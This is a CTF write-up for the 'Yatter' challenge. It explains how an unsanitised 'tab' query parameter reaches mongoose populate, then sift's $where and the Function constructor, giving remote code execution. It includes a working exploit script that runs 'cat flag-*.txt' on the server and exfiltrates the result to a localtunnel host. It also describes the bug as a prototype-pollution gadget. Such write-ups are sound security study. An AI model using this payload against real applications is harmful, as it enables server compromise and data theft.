CTF
日本語: https://hackmd.io/@n4o847/S1_MNNwXT
Opening the link, you will access a social networking site called "Yatter," similar to Twitter.
Registered users can create posts called "Yeets," follow other users, and like other users' Yeets.
Upon reading the distributed files, it appears that the structure of this site is roughly as follows:
User
username
password
following
followers
posts
(virtual)Post
author
content
likes
/
Timeline/register
Registration Page/login
Login Page/@:username
User Profile/@:username/:postId
Post Details/register
Register/login
Log in/logout
Log out/post
Create a post/users/:userId/follow
Follow a user/users/:userId/unfollow
Unfollow a user/posts/:postId/like
Like a post/posts/:postId/unlike
Unlike a postThe purpose of this challenge is to read a secret text file (the name is unknown) located on the server and obtain the flag.
When opening a user profile page, you notice that the tabs can be switched:
/@:username |
/@:username?tab=following |
/@:username?tab=followers |
---|---|---|
Image Not Showing
Possible Reasons
|
Image Not Showing
Possible Reasons
|
Image Not Showing
Possible Reasons
|
This feature is implemented with the following code.
app.get("/@:username", async (req, res) => {
const { username } = req.params;
const tab = req.query.tab ?? "posts";
const user = await User.findOne({ username })
.populate(tab)
.exec();
const userId = req.session.userId;
const me = await User.findById(userId);
res.render("user", { me, user, tab });
});
The User
model has the following
and followers
fields, which are arrays of references to other User
s, and the posts
field, which is a virtual field.
To materialize these fields, mongoose's population feature is used.
Here, it is known that in express, a req.query
can accept not only strings, but also arrays and objects.
Additionally, mongoose's populate
allows various options to be specifed as arguments.
Given these facts, this portion of the code appears to be quite suspicious.
Indeed, when looking at the documentation for Model.populate
, it becomes evident that JavaScript code can be executed on MongoDB as shown below:
await User.findOne({ username })
.populate({
path: "author",
match: {
$where: `...`,
},
})
.exec();
However, it seems that the JavaScript interpreter in MongoDB has various restrictions that make it difficult to execute arbitrary code.
… Is it really so?
From here, it might require a bit of patience.
In conclusion, there is a vulnerability in mongoose's populate
function that allows for arbitrary code execution, and that is what we will be looking for.
Let's trace how populate
is invoked within mongoose.
Model.populate
calls _populate
, which in turn calls populate
for each path, which then calls _assign
, which finally calls assignVals
.
In assignVals
, you will notice a quite suspicious snippet:
valueToSet = Array.isArray(rawIds[i]) ?
rawIds[i].filter(sift(o.match[i])) :
[rawIds[i]].filter(sift(o.match[i]))[0];
It seems that when the match
property in the options passed to populate
is an array, a function from the sift library is invoked.
This sift library converts MongoDB-like queries into filter functions, however, it handles them in JavaScript itself instead of sending BSON data to MongoDB, causing different behavior.
Reading sift's $where
implementation, you can see that it dynamically generates functions using the Function
constructor:
export const $where = (
params: string | Function,
ownerQuery: Query<any>,
options: Options
) => {
let test;
if (isFunction(params)) {
test = params;
} else if (!process.env.CSP_ENABLED) {
test = new Function("obj", "return " + params);
} else {
throw new Error(
`In CSP mode, sift does not support strings in "$where" condition`
);
}
return new EqualsOperation(b => test.bind(b)(b), ownerQuery, options);
};
Exactly, by passing code like match: [{ $where: ... }]
, arbitrary code can be executed!
Note that the code is executed within the MongoDB internal JavaScript interpreter before being executed with Function
, so you need to distinguish where the code is executed using constructs like typeof process === "undefined" ? true : ...
.
Let's assume there is a registered user with the username @a
.
const express = require("express");
const localtunnel = require("localtunnel");
async function main() {
const remoteHost = process.argv[2] ?? "localhost";
const remotePort = parseInt(process.argv[3] ?? "18080", 10);
const localPort = 3000;
const app = express();
app.get("/", (req, res) => {
console.log(req.query.flag);
res.send("ok");
});
const server = await new Promise((resolve) => {
const server = app.listen(localPort, () => resolve(server));
});
const username = `a`;
const tunnel = await localtunnel({ port: localPort });
const payload =
`typeof process === "undefined" ? true : fetch("${tunnel.url}/?flag=" + process.mainModule.require("child_process").execSync("cat flag-*.txt"))`;
const params = new URLSearchParams({
"tab[path]": "posts",
"tab[match][][$where]": payload,
});
await fetch(
`http://${remoteHost}:${remotePort}/@${username}?${params}`,
);
tunnel.close();
server.close();
}
main();
This vulnerability occurs only when arbitrary objects are passed to populate.
However, with prototype pollution, arbitrary code execution might occur through other means as well.
In other words, this vulnerability can be utilized as a prototype pollution gadget.
For instance, the Model.insertMany
function, which is used for bulk data insertion, takes the populate option as a parameter.
Inside insertMany
, there is a conditional check like this:
if (options.populate != null) {
Consequently, even if the populate
option is not explicitly specified in the program, if Object.prototype
is polluted, arbitrary code execution becomes possible.